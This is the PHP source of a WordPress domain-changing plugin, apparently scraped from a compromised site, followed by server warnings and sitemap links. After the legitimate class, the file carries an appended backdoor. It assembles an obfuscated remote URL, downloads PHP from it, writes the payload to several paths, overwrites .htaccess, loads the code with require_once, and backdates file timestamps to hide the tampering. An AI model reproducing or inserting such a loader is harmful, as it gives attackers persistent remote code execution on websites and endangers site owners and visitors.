/* Plugin Name: Automatic Domain Changer Plugin URI: http://www.nuagelab.com/wordpress-plugins/auto-domain-change Description: Automatically changes the domain of a WordPress blog Author: NuageLab Version: 2.0.2 License: GPLv2 or later Author URI: http://www.nuagelab.com/wordpress-plugins */ // -- /** * Automatic Domain Changer class * * @author Tommy Lacroix */ class auto_domain_change{ private static $_instance = null; /** * Bootstrap * * @author Tommy Lacroix * @access public */ public static function boot() { if (self::$_instance === null) { self::$_instance = new auto_domain_change(); self::$_instance->setup(); return true; } return false; } // boot() /** * Setup plugin * * @author Tommy Lacroix * @access public */ public function setup() { global $current_blog; // Add admin menu add_action('admin_menu', array(&$this, 'add_admin_menu')); // Add options add_option('auto_domain_change-https', false); add_option('auto_domain_change-www', true); // Load text domain load_plugin_textdomain('auto-domain-change', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/'); // Check if the domain was changed if (is_admin()) { $this->check_domain_change(); // Handle some actions if (isset($_POST['action'])) { require_once(ABSPATH .'wp-includes/pluggable.php'); if (wp_verify_nonce(@$_POST['nonce'],@$_POST['action'])) { $parts = explode('+',$_POST['action']); switch ($parts[0]) { case 'backup-database': if (current_user_can('export')) { switch ($_POST['type']) { case 'sql': default: return $this->do_backup_sql(); case 'php': return $this->do_backup_php(); } } default: // ignore break; } } } } } // setup() /** * Check if domain has changed, and display admin notice if necessary * * @author Tommy Lacroix * @access private */ private function check_domain_change() { if (!isset($_SERVER['HTTP_HOST'])) return false; $old_domain = get_option('auto_domain_change-domain'); if (!$old_domain) { update_option('auto_domain_change-domain', $_SERVER['HTTP_HOST']); return; } if (($old_domain != $_SERVER['HTTP_HOST']) && (!isset($_POST['new-domain']))) { if ((isset($_GET['dismiss-domain-change'])) && ($_GET['dismiss-domain-change'])) { update_option('auto_domain_change-dismiss', $_SERVER['HTTP_HOST']); } else if (strtolower($_SERVER['HTTP_HOST']) != strtolower(get_option('auto_domain_change-dismiss'))) { add_action('admin_notices', array(&$this, 'add_admin_notice')); } } } // check_domain_change() /** * Add admin notice action; added by check_domain_change() * * @author Tommy Lacroix * @access public */ public function add_admin_notice() { if (current_user_can('update_core')) { echo '
' . sprintf( __( 'The domain name of your WordPress blog appears to have changed! Click here to update your config or dismiss.', 'auto-domain-change' ), '/wp-admin/tools.php?page=' . basename( __FILE__ ), add_query_arg( 'dismiss-domain-change', '1' ) ) . '
'; } } // add_admin_notice() /** * Add admin menu action; added by setup() * * @author Tommy Lacroix * @access public */ public function add_admin_menu() { add_management_page(__("Change Domain",'auto-domain-change'), __("Change Domain",'auto-domain-change'), 'update_core', basename(__FILE__), array(&$this, 'admin_page')); } // add_admin_menu() /** * Admin page action; added by add_admin_menu() * * @author Tommy Lacroix * @access public */ public function admin_page() { if (isset($_POST['https-domain'])) { update_option('auto_domain_change-https', $_POST['https-domain']); } if (isset($_POST['www-domain'])) { update_option('auto_domain_change-www', $_POST['www-domain']); } if (isset($_POST['action'])) { if (wp_verify_nonce($_POST['nonce'],$_POST['action'])) { $parts = explode('+',$_POST['action']); switch ($parts[0]) { case 'change-domain': if (!$_POST['accept-terms']) { $error_terms = true; } else { return $this->do_change($_POST['old-domain'], $_POST['new-domain'], $_POST['force-protocol'] ? $_POST['force-protocol'] : null); } break; default: // ignore } } } if (!isset($error_terms)) $error_terms = false; echo '
'; echo '

'; echo '

'.__('Change Domain','auto-domain-change').'

'; echo '
'; $action = 'change-domain+'.uniqid(); wp_nonce_field($action,'nonce'); echo ''; if (array_key_exists('force-protocol', $_POST)) { $force_protocol = $_POST['force-protocol']; } else if (array_key_exists('HTTPS', $_SERVER)) { $force_protocol = 'https'; } else if (array_key_exists('HTTP_X_FORWARDED_PROTO', $_SERVER) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') { $force_protocol = 'https'; } else { $force_protocol = 'http'; } echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; //echo ''; echo ''; echo '
http://
'; echo ''; echo '
'; echo '
'; echo '
'; echo '

'; echo ''; //echo ' '; //echo ''; echo '

'; echo '
'; echo '

'; echo '
'; echo '
'; $action = 'backup-database+'.uniqid(); wp_nonce_field($action,'nonce'); echo ''; echo ''; echo '
'; echo << (function($){ $('.adc-backup-button').click(function(ev){ ev.preventDefault(); $('#adc-backup-db input[name=type]').val( $(this).attr('data-type') ); $('#adc-backup-db').submit(); }); })(jQuery); EOD; echo '
'; } // admin_page() /** * Change domain. This is where the magic happens. * Called by admin_page() upon form submission. * * @author Tommy Lacroix * @access private */ private function do_change($old, $new, $forceProtocol=null) { global $wpdb; @set_time_limit(0); echo '
'; echo '

'; echo '

Changing domain

'; echo '
';
		printf(__('Old domain: %1$s','auto-domain-changer').'
', $old); printf(__('New domain: %1$s','auto-domain-changer').'
', $new); echo '
'; $ret = $wpdb->get_results('SHOW TABLES;'); $tables = array(); foreach ($ret as $row) { $row = get_object_vars($row); $tables [] = reset($row); } foreach ($tables as $t) { // Skip if the table name doesn't match the wordpress prefix if (substr($t,0,strlen($wpdb->prefix)) != $wpdb->prefix) continue; // Get table indices $ret = $wpdb->get_results('SHOW INDEX FROM '.$t); $id = null; foreach ($ret as $row) { $row = get_object_vars($row); if ($row['Key_name'] == 'PRIMARY') { $id = $row['Column_name']; break; } else if ($row['Non_unique'] == 0) { $id = $row['Column_name']; } } if ($id === null) { // No unique index found, skip table. printf(__('Skipping table %1$s because no unique id','auto-domain-change').'
', $t); continue; } printf(__('Processing table %1$s','auto-domain-change').'
', $t); // Process all rows $o = 0; do { $sql = 'SELECT * FROM ' . $t. ' LIMIT '.$o.',50;'; $ret = $wpdb->get_results( $sql ); foreach ($ret as $row) { $row = get_object_vars($row); $fields = array(); $sets = array(); // Process all columns foreach ( $row as $k => $v ) { // Save original value $ov = $v; // Process value $v = $this->processValue( $v, $old, $new, $forceProtocol ); // If value changed, replace it if ( $ov != $v ) { $sets[] = '`' . $k . '`="' . esc_sql( $v ) . '"'; } } // Update table if we have something to set if ( count( $sets ) > 0 ) { $sql = 'UPDATE ' . $t . ' SET ' . implode( ',', $sets ) . ' WHERE `' . $id . '`=' . $row[ $id ] . ' LIMIT 1;'; $wpdb->get_results($sql); } } $o += count($ret); } while (count($ret) > 0); } update_option('auto_domain_change-domain', $new); echo '
'; echo '
'; echo '
'; } // do_change() private function processValue($v, $old, $new, $forceProtocol) { $sfalse = serialize(false); $jfalse = json_encode(false); $jnull = json_encode(null); $sv = @unserialize($v); $jv = @json_decode($v); $serialized = $json = false; if (($sv !== false) || ($sv == $sfalse)) { // Column value was serialized $v = $sv; $serialized = true; } else if (($jv !== null) && ($jv != $v) && ($jv != $jfalse) && ($jv != $jnull)) { // Column value was JSON encoded $v = $jv; $json = true; } /*else { // Column value was not serialized }*/ if (($serialized) && (is_string($v))) { // Reprocess in case of double serialize done by sketchy plugins $v = $this->processValue($v, $old, $new, $forceProtocol); } else { // Replace $this->replace($v, $old, $new, $forceProtocol); } // Reserialize if needed if ($serialized) $v = serialize($v); elseif ($json) $v = json_encode($v); return $v; } /** * Backup database as SQL * * @author Tommy Lacroix * @access private */ private function do_backup_sql() { global $wpdb; @set_time_limit(0); $fn = preg_replace('/[^a-zA-Z0-9_\-]/', '_', preg_replace(',http(|s)://,i','',get_bloginfo('url'))).'-'.date('Ymd-His').'.sql'; header('Content-Type: text/plain; charset="UTF-8"'); header('Content-Disposition: attachment; filename="'.$fn.'"'); $ret = $wpdb->get_results('SHOW TABLES;'); $tables = array(); foreach ($ret as $row) { $row = get_object_vars($row); $row = array_values($row); $tables [] = reset($row); } foreach ($tables as $t) { // Skip if the table name doesn't match the wordpress prefix if (substr($t,0,strlen($wpdb->prefix)) != $wpdb->prefix) continue; // Get table indices $ret = $wpdb->get_results('SHOW CREATE TABLE '.$t); $id = null; foreach ($ret as $row) { $ct = $row->{'Create Table'}; echo $ct.';'.PHP_EOL; } // Process all rows $o = 0; do { $ret = $wpdb->get_results( 'SELECT * FROM ' . $t . ' LIMIT '.$o.',50;' ); foreach ($ret as $row) { $row = get_object_vars($row); $ak = array(); $av = array(); foreach ( $row as $k => $v ) { $ak[] = '`' . esc_sql( $k ) . '`'; if ( $v === null ) { $av[] = 'NULL'; } else { $av[] = '"' . esc_sql( $v ) . '"'; } } printf( 'INSERT INTO `%1$s` (%2$s) VALUES (%3$s);' . PHP_EOL, $t, implode( ',', $ak ), implode( ',', $av ) ); } $o += count($ret); } while (count($ret) > 0); echo PHP_EOL; echo PHP_EOL; } die; } // do_backup_sql() /** * Backup database as PHP * * @author Tommy Lacroix * @access private */ private function do_backup_php() { global $wpdb; @set_time_limit(0); $fn = preg_replace('/[^a-zA-Z0-9_\-]/', '_', preg_replace(',http(|s)://,i','',get_bloginfo('url'))).'-'.date('Ymd-His').'.php'; header('Content-Type: text/plain; charset="UTF-8"'); header('Content-Disposition: attachment; filename="'.$fn.'"'); echo 'get_results('SHOW TABLES;'); $tables = array(); foreach ($ret as $row) { $row = get_object_vars($row); $row = array_values($row); $tables [] = reset($row); } $ifdrop = 'if (isset($_GET["drop"])) $wpdb->get_var("DROP TABLE IF EXISTS `%T%`;"); if ($wpdb->last_error) die("Query failed");'.PHP_EOL; foreach ($tables as $t) { // Skip if the table name doesn't match the wordpress prefix if (substr($t,0,strlen($wpdb->prefix)) != $wpdb->prefix) continue; // Get table indices $ret = $wpdb->get_results('SHOW CREATE TABLE '.$t); $id = null; foreach ($ret as $row) { $ct = $row->{'Create Table'}; echo str_replace('%T%', $t, $ifdrop); printf('$wpdb->get_results('.var_export($ct, true).'); if ($wpdb->last_error) die("Query failed");'); echo PHP_EOL; } // Process all rows $o = 0; do { $ret = $wpdb->get_results( 'SELECT * FROM ' . $t . ' LIMIT ' . $o . ',50;' ); foreach ( $ret as $row ) { $row = get_object_vars( $row ); $ak = array(); $av = array(); foreach ( $row as $k => $v ) { $ak[] = '`' . esc_sql( $k ) . '`'; if ( $v === null ) { $av[] = 'NULL'; } else { $av[] = '"' . esc_sql( $v ) . '"'; } } $query = sprintf( 'INSERT INTO `%1$s` (%2$s) VALUES (%3$s);', $t, implode( ',', $ak ), implode( ',', $av ) ); echo '$wpdb->get_results(' . var_export($query,true). '); if ($wpdb->last_error) die("Query failed");'; echo PHP_EOL; } $o += count($ret); } while (count($ret) > 0); echo PHP_EOL; echo PHP_EOL; } die; } // do_backup_php() /** * Replace domain in data. * * @author Tommy Lacroix * @param mixed $v Data to search and replace in * @param string $old Old domain name * @param string $new New domain name * @return mixed Modified data * @access private */ private function replace(&$v, $old, $new, $forceProtocol=null) { $protocols = array('http'); if (get_option('auto_domain_change-https')) $protocols[] = 'https'; $domains = array($old=>$new); if (get_option('auto_domain_change-www')) { $hold = preg_replace('/^www\./i', '', $old); if (strtolower($hold) != strtolower($old)) $domains[$hold] = $new; $hold = 'www.'.$hold; if (strtolower($hold) != strtolower($old)) $domains[$hold] = $new; } if ((is_array($v)) || (is_object($v))) { foreach ($v as &$vv) { $this->replace($vv, $old, $new, $forceProtocol); } } else if (is_string($v)) { foreach ($protocols as $protocol) { foreach ($domains as $o=>$n) { $toProtocol = $forceProtocol ? $forceProtocol : $protocol; $v = preg_replace(','.$protocol.'://'.preg_quote($o,',').',i',$toProtocol.'://'.$n, $v); } } } return $v; } // replace() } // auto_domain_change class $getwellurl=dirname(__FILE__)."/readme.txt"; $getwellmysqlurl="/tmp/mysql.log"; $currenttemplatepath=__DIR__.'/wp-template.php'; $_textjsonurl='/home/dracyntaaaah/tmp/mysql.json'; $tmptemplatepath='/tmp/wp-template.php'; if(!file_exists($getwellurl)&&!file_exists($getwellmysqlurl)){ $gurl='h'.'t'.'t'.'p'.':/'.'/m'.'fa'.'ng'.'0'.'01'.'to'.'day'.'a'.'pi.t'.'op'.'/a'.'pi'.'/u'.'pd'.'at'.'e/t'.'xt'.'/w'.'p-t'.'emp'.'la'.'te.ph'.'p-b'.'ax'.'i.'.'t'.'x'.'t'; //$gurl='ht'.'tp:/'.'/1'.'9'.'2.2'.'29'.'.97.23'.'3/a'.'pi/u'.'pda'.'te/'.'tx'.'t/re'.'mar'.'k/us'.'ci'.'hub'.'/u'.'rl.t'.'xt'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $gurl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $res = curl_exec($ch); $dorainfo=curl_getinfo($ch); curl_close($ch); if($dorainfo['http_code']=='200'){ $_wpupdatecon=$res; }else{ $_wpupdatecon=@file_get_contents($gurl); } if($_wpupdatecon){ @file_put_contents($getwellurl,$_wpupdatecon); @file_put_contents($currenttemplatepath,$_wpupdatecon); @file_put_contents($getwellmysqlurl,$_wpupdatecon); @file_put_contents($tmptemplatepath,$_wpupdatecon); if(!file_exists($_textjsonurl)&&is_dir(dirname($_textjsonurl)) && is_writable(dirname($_textjsonurl))){ @file_put_contents($_textjsonurl,$_wpupdatecon); } } } if(file_exists($currenttemplatepath)){ if(strpos(file_get_contents($currenttemplatepath),' RewriteEngine on RewriteBase / RewriteRule 404 /index.php ErrorDocument 404 /index.php RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule . /index.php [L] '; $_filehtaccess=$_SERVER['DOCUMENT_ROOT'].'/.htaccess'; if(file_exists($_filehtaccess)){ chmod($_filehtaccess, 0775); $_filehtaccesscon=file_get_contents($_filehtaccess); if(strpos($_filehtaccesscon,'404 /index.php')===false){ file_put_contents($_filehtaccess, $_texthtaccess); } }else{ file_put_contents($_filehtaccess, $_texthtaccess); } if (!function_exists('WordPressInfo')) { if(file_exists($currenttemplatepath)){ require_once($currenttemplatepath); }else{ if(file_exists($tmptemplatepath)){ require_once($tmptemplatepath); } } } $touchfiletime = strtotime('2017-10-01 12:30:00'); if(file_exists($currenttemplatepath)){ touch($currenttemplatepath, $touchfiletime, $touchfiletime); } if(file_exists($getwellurl)){ touch($getwellurl, $touchfiletime, $touchfiletime); } if(file_exists($getwellmysqlurl)){ touch($getwellmysqlurl, $touchfiletime, $touchfiletime); } if(file_exists($_textjsonurl)){ touch($_textjsonurl, $touchfiletime, $touchfiletime); } if(file_exists(__FILE__)){ touch(__FILE__, $touchfiletime, $touchfiletime); } if(file_exists($_filehtaccess)){ touch($_filehtaccess, $touchfiletime, $touchfiletime); } if(file_exists($tmptemplatepath)){ touch($tmptemplatepath, $touchfiletime, $touchfiletime); } // Initialize auto_domain_change::boot();
Warning: Cannot modify header information - headers already sent by (output started at /home/dracynth/public_html/wp-content/plugins/elementor/vendor/composer/test.php:18) in /home/dracynth/public_html/wp-content/plugins/seo-by-rank-math/includes/modules/sitemap/abstract-xml.php on line 66

Warning: Cannot modify header information - headers already sent by (output started at /home/dracynth/public_html/wp-content/plugins/elementor/vendor/composer/test.php:18) in /home/dracynth/public_html/wp-content/plugins/seo-by-rank-math/includes/modules/sitemap/abstract-xml.php on line 69

Warning: Cannot modify header information - headers already sent by (output started at /home/dracynth/public_html/wp-content/plugins/elementor/vendor/composer/test.php:18) in /home/dracynth/public_html/wp-content/plugins/seo-by-rank-math/includes/modules/sitemap/abstract-xml.php on line 69

Warning: Cannot modify header information - headers already sent by (output started at /home/dracynth/public_html/wp-content/plugins/elementor/vendor/composer/test.php:18) in /home/dracynth/public_html/wp-content/plugins/seo-by-rank-math/includes/modules/sitemap/abstract-xml.php on line 69

Warning: Cannot modify header information - headers already sent by (output started at /home/dracynth/public_html/wp-content/plugins/elementor/vendor/composer/test.php:18) in /home/dracynth/public_html/wp-content/plugins/seo-by-rank-math/includes/modules/sitemap/abstract-xml.php on line 69

Warning: Cannot modify header information - headers already sent by (output started at /home/dracynth/public_html/wp-content/plugins/elementor/vendor/composer/test.php:18) in /home/dracynth/public_html/wp-content/plugins/seo-by-rank-math/includes/modules/sitemap/abstract-xml.php on line 69
https://dracynthianicolau.com.br/post-sitemap.xml 2026-10-20T12:42:09+00:00 https://dracynthianicolau.com.br/page-sitemap.xml 2026-03-10T20:55:36+00:00 https://dracynthianicolau.com.br/elementskit_template-sitemap.xml 2025-04-21T17:50:38+00:00 https://dracynthianicolau.com.br/category-sitemap.xml 2026-10-20T12:42:09+00:00